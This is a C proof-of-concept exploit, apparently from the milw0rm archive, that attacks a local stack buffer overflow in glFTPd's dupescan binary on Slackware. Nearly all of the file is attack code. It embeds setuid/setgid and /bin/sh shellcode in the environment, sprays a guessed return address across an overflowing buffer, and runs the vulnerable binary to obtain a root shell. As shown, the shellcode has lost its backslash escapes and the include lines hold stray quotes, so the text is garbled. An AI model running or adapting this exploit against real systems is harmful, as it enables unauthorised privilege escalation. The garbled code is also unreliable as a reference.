/* glFTPd local stack buffer overflow exploit (Proof of Concept) Tested in Slackware 9.0 / 9.1 / 10.0 by CoKi No System Group - http://www.nosystem.com.ar */ #include <'stdio.h> #include <'strings.h> #include <'unistd.h> #define BUFFER 288 + 1 #define PATH "/glftpd/bin/dupescan" char shellcode[]= "xb0x31xcdx80x89xc3x31xc0xb0x17xcdx80" "x31xdbx31xc0xb0x17xcdx80" "xebx1fx5ex89x76x08x31xc0x89x46x0cx88x46x07" "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb" "x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"; int main(void) { char *env[3] = {shellcode, NULL}; char buf[BUFFER], *path; int *buffer = (int *) (buf); int i; int ret = 0xbffffffa - strlen(shellcode) - strlen(PATH); for(i=0; i<=BUFFER; i+=4) *buffer++ = ret; printf(" glFTPd local stack buffer overflow (Proof of Concept) "); printf(" by CoKi "); execle(PATH, "dupescan", buf, NULL, env); } // milw0rm.com [2004-09-23] 
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